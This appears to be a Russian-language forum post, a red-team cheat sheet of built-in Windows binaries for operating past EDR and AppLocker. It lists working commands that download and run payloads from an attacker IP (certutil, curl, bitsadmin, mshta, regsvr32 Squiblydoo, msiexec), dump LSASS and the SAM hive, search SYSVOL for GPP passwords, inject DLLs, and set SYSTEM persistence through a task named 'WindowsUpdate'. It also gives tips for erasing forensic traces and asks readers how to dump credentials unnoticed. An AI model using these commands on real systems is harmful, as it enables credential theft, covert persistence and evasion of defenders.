Справочник для red team операторов и пентестеров, у которых EDR (CrowdStrike Falcon, Defender for Endpoint) прибил весь привычный инструментарий, а доступ к cmd/PowerShell от непривилегированного пользователя - есть. Windows 10/Server 2016+, AppLocker с дефолтными правилами. Знакомая ситуация?
Суть простая: зачем тащить на хост что-то своё, если в самой винде лежит полный набор для загрузки, выполнения и закрепления? Microsoft сама положила всё нужное - мы просто пользуемся.
Где не сработает: системы с WDAC в enforce-режиме с кастомными политиками - часть техник не пройдёт. На Server Core без GUI
mshta и hh.exe банально отсутствуют - проверяй перед тем, как строить цепочку.Все команды - из официального проекта LOLBAS. ATT&CK-маппинг указан для каждой техники.
Основные команды
| Команда | Флаги / параметры | Назначение / ATT&CK |
|---|---|---|
certutil.exe | -urlcache -split -f http://IP/file.exe C:\Temp\file.exe | Загрузка файла (wget-замена). T1105, T1564.004. Детектируется почти всеми EDR - в 2024+ это ловушка, а не инструмент |
certutil.exe | -encode file.exe file.b64 / -decode file.b64 file.exe | Base64 encode/decode пейлоада. T1027.013, T1140, T1564.004 |
bitsadmin.exe | /create job1 && bitsadmin /addfile job1 http://IP/f.exe C:\Temp\f.exe && bitsadmin /resume job1 && bitsadmin /complete job1 | Фоновая загрузка через BITS. T1105, T1218, T1564.004. Работает даже при ограниченном outbound |
mshta.exe | http://IP/payload.hta | Выполнение удалённого HTA (VBScript/JScript). T1218.005, T1105. Обходит AppLocker по умолчанию |
regsvr32.exe | /s /n /u /i:http://IP/file.sct scrobj.dll | Squiblydoo - загрузка и выполнение SCT-скриптлета. T1218.010. Обход AppLocker |
rundll32.exe | C:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full | Дамп LSASS без Mimikatz. T1218.011, T1564.004; T1003.001 (credential access). Требует SeDebugPrivilege |
msiexec.exe | /q /i http://IP/payload.msi | Тихая установка MSI с удалённого URL. T1218.007 |
wmic.exe | process call create "cmd /c whoami > C:\Temp\out.txt" | Выполнение команды через WMI. T1047. По LOLBAS: T1105, T1218, T1564.004 |
schtasks.exe | /create /tn "Update" /tr "cmd /c payload.exe" /sc onlogon /ru SYSTEM | Persistence через задачу планировщика. T1053.005 |
msbuild.exe | C:\Temp\payload.csproj | Компиляция и выполнение C# inline. T1127.001, T1036. Обход AppLocker |
InstallUtil.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll | Выполнение .NET assembly через Uninstall-метод (payload с классом [RunInstaller(true)], унаследованным от Installer). T1218.004, T1105. Обход AppLocker. Указывать полный путь к InstallUtil и DLL |
forfiles.exe | /p C:\Windows\System32 /m notepad.exe /c "cmd /c payload.exe" | Proxy-запуск через forfiles. T1202, T1564.004. Обходит parent-process мониторинг |
mavinject.exe | <PID> /INJECTRUNNING payload.dll | DLL-инъекция в живой процесс. T1218.013. Использовался Mustang Panda (Earth Preta) |
reg.exe | save HKLM\SAM C:\Temp\sam.bak (+ SYSTEM, SECURITY) | Дамп SAM/SYSTEM для офлайн-крека. T1003.002, T1564.004 |
findstr.exe | /S /I cpassword \\DC\SYSVOL\*.xml | Поиск GPP-паролей в SYSVOL. T1552.001, T1105, T1564.004 |
curl.exe | -o C:\Temp\file.exe http://IP/file.exe | Загрузка файла (Win10 1803+, нативный). T1105. EDR-правила на curl менее зрелые, чем на certutil |
Частые сценарии
Загрузка пейлоада в обход детекта certutil
certutil -urlcache в 2024+ - это как кричать «я здесь» в тихом офисе. Каждый уважающий себя EDR на это реагирует. Переключаемся на curl.exe (нативный с Win10 1803) или BITS.
Код:
curl.exe -s -o C:\Windows\Temp\update.exe http://192.168.1.100/beacon.exe
curl.exe с сетевым соединением - куда менее сигнатурно. А BITS-вариант вообще работает через svchost - ещё тише. Я начинаю с curl, и только если его нет (старые билды) - иду в bitsadmin.Дамп LSASS без Mimikatz (T1003.001)
Mimikatz заблокирован, а SeDebugPrivilege есть - классика. Используем comsvcs.dll через rundll32. Нужен elevated-контекст (High Integrity Level, не просто членство в Administrators - это частая ошибка).Важный момент: MDE детектирует сигнатуру
rundll32 + comsvcs.dll + MiniDump как Behavior:Win32/LsassDump.A ещё с 2022 года. Если на хосте MDE - этот трюк, скорее всего, уже не тихий. Для тихого дампа стоит посмотреть в сторону PPLFault или NanoDump.
Код:
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 672 C:\Windows\Temp\lsass.dmp full
tasklist /fi "imagename eq lsass.exe". Дамп забираем офлайн и парсим Mimikatz/pypykatz локально - на хосте ничего не крутим.Persistence через schtasks без PowerShell (T1053.005)
PowerShell заблокирован или логируется до последней запятой - чистая cmd-persistence.
Код:
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\beacon.exe" /sc onlogon /ru SYSTEM /f
/f перезаписывает существующую задачу без промпта. Имя «WindowsUpdate» - банально, но в реальном планировщике среди десятков задач теряется нормально.Squiblydoo: обход AppLocker через regsvr32 (T1218.010)
AppLocker default rules покрывают EXE/DLL/Script/MSI, но COM-скриптлеты через scrobj.dll - мимо контроля. В этом и фокус Squiblydoo.
Код:
regsvr32.exe /s /n /u /i:http://192.168.1.100/payload.sct scrobj.dll
Но есть нюанс (и он существенный): в WDAC с включённым Script Enforcement этот bypass не пройдёт. И большинство современных EDR уже хорошо знают эту технику -
regsvr32 с URL в аргументах = high-confidence alert. Проверяй на стенде перед боевым применением.Gotchas & подводные камни
Тут собраны грабли, на которые наступают регулярно. Некоторые - очевидные, но именно очевидные вещи забываются в 3 часа ночи на проекте.certutil -urlcache- детектируется практически всеми EDR в 2024+. Последний вариант, не первый. Или для сред вообще без EDR.rundll32+ comsvcs MiniDump - требуетSeDebugPrivilegeи elevated-контекст (High IL). Из non-elevated cmd даже у local admin - Access Denied. MDE детектирует какBehavior:Win32/LsassDump.A.mshta.exe- отсутствует на Server Core и некоторых hardened-образах. Проверяй наличие до включения в цепочку, иначе вся атака рассыпается на первом шаге.wmic.exe- deprecated с Windows 10 21H1; на Windows 11 24H2+ и Server 2025 удалён из базовой поставки (доступен как Feature on Demand). На 22H2/23H2 ещё живой. На свежих системах проверяй черезwmic /?или используйInvoke-CimMethod.mavinject.exe- целевой процесс должен уже работать (/INJECTRUNNING). Инъекция в PPL-процессы не пройдёт.schtasks /ru SYSTEMот непривилегированного пользователя - ошибка. Нужны права администратора.msbuild.exe- в новых версиях Windows логируется через ETW даже без Sysmon. Считай, что SOC это видит.bitsadmin- оставляет артефакты в%ALLUSERSPROFILE%\Microsoft\Network\Downloader\. Чисти:bitsadmin /list /allusers+bitsadmin /cancel <JobID>. Забудешь - форензик найдёт.findstrпо SYSVOL - работает только если GPP-пароли не удалены (MS14-025). В современных AD - редкость. В legacy-средах (а их больше, чем хочется думать) - регулярно.regsvr32Squiblydoo - хорошо сигнатурирован. Любойregsvr32с URL в аргументах = high-confidence alert в большинстве SIEM.
Quick-reference card
| Задача | Команда |
|---|---|
| Загрузка файла | curl.exe -o C:\Temp\f.exe http://IP/f.exe |
| Загрузка (альт.) | certutil -urlcache -split -f http://IP/f.exe C:\Temp\f.exe |
| Дамп LSASS | rundll32 comsvcs.dll, MiniDump <PID> lsass.dmp full |
| Выполнение .NET (Uninstall bypass) | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll |
| Persistence | schtasks /create /tn "X" /tr "payload.exe" /sc onlogon /ru SYSTEM /f |
| AppLocker bypass | regsvr32 /s /n /u /i:http://IP/f.sct scrobj.dll |
| GPP-пароли | findstr /S /I cpassword \\DC\SYSVOL\*.xml |
| DLL-инъекция | mavinject <PID> /INJECTRUNNING payload.dll |
Вопрос к читателям
При работе сrundll32.exe comsvcs.dll, MiniDump для дампа LSASS - какой процесс используете как «прокси» для снижения шума в EDR-телеметрии? Часть операторов инжектируется в svchost.exe перед вызовом, другие работают напрямую из cmd.Меня интересует конкретика: на каком EDR (CrowdStrike, MDE, SentinelOne) и при каком уровне политики (
detect-only vs prevent) удавалось пройти тихо с прямым вызовом rundll32 без предварительного инжекта? Какой parent process в цепочке оказался наименее триггерным?
Последнее редактирование модератором: